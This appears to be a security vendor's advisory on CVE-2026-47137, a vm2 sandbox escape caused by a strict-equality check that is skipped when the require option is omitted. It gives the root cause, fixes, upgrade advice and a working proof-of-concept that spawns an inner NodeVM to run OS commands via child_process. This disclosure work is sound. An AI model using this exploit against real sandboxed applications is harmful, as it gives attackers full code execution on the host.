CVE-2026-47137

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263, the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280, the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Reproduction

const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid, full RCE

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

1. require('vm2') to get the vm2 library
2. Construct an inner NodeVM with require: { builtin: ['child_process'] }
3. Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

CVE-2026-47137 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.4); upgrading removes the vulnerable code path.

Kodem intelligence

// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}

1. What is CVE-2026-47137? CVE-2026-47137 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.3. It is fixed in 3.11.4.
2. How severe is CVE-2026-47137? CVE-2026-47137 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-47137? vm2 (npm) versions <= 3.11.3 is affected.
4. Is there a fix for CVE-2026-47137? Yes. CVE-2026-47137 is fixed in 3.11.4. Upgrade to this version or later.
5. Is CVE-2026-47137 exploitable, and should I be worried? Whether CVE-2026-47137 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47137 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47137? Upgrade vm2 to 3.11.4 or later.